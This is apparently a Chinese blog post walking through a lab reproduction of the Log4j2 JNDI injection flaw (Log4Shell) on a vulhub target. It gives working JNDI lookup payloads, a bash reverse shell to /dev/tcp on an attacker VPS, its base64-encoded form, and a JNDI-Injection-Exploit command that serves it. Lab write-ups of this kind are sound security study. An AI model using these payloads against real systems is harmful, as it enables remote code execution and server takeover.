LOG4j2 漏洞复现

今天突然想码字,那就写一下log4j。

一、漏洞简介

1.漏洞原理

Apache Log4j2 中存在JNDI注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。

通俗简单的说就是:在打印日志的时候,如果你的日志内容中包含关键词 ${,攻击者就能将关键字所包含的内容当作变量来替换成任何攻击命令,并且执行

Apache Log4j2 是一款开源的 Java 日志记录工具,大量的业务框架都使用了该组件。此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。

2.漏洞详情

Apache Log4j 远程代码执行漏洞 严重程度: 严重
由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置漏洞情况分析:Apache Log4j是一个基于Java的日志记录组件。Apache Log4j2是Log4j的升级版本,通过重写Log4j引入了丰富的功能特性。该日志组件被广泛应用于业务系统开发,用以记录程序输入输出日志信息。2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。

二、环境搭建

靶机:kali2020 使用vulhub的环境

vps:ubuntu

攻击机:win10

二、漏洞测试

我们打开漏洞的环境

其实刚开始我也没找到这个漏洞的参数点,我也是看了教程才知道漏洞点在action参数

我们来验证一下是否存在log4j

payload:

${jndi:ldap://${sys:java.version}.xxx.dnslog.cn}
${jndi:rmi://${sys:java.version}.xxx.dnslog.cn}
${jndi:ldap://sb6vjj.dnslog.cn/exp}

我这里采用ceyep平台来验证

发现确实存在该漏洞

三、反弹shell

既然存在漏洞,那么我们就开始准备来进行反弹shell
首先我们先写好反弹shell的命令

bash -i >& /dev/tcp/vps_ip/9999 0>&1

里面的vps_ip是你要反弹shell的主机ip,9999是要监听的端口。注意了,用windos系统是弹不会shell的,因为bash -i不是windows的命令。
如我这里用的是192.168.200.133,进行编码:

编码的站点如下:

地址

将bash编码的复制,然后运行漏洞利用的jar文件:
下载地址:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzMvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.200.133"
-C是编码后的内容,-A是反弹shell的ip地址。
注意要先nc监听9999端口.

使用产生的payload进行攻击rmi://192.168.200.133:1099/9mxiep,多个payload可以换着试一试

posted @   CHOSEN1K08  阅读(1936)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 如何调用 DeepSeek 的自然语言处理 API 接口并集成到在线客服系统
· 【译】Visual Studio 中新的强大生产力特性
· 2025年我用 Compose 写了一个 Todo App
点击右上角即可分享
微信分享提示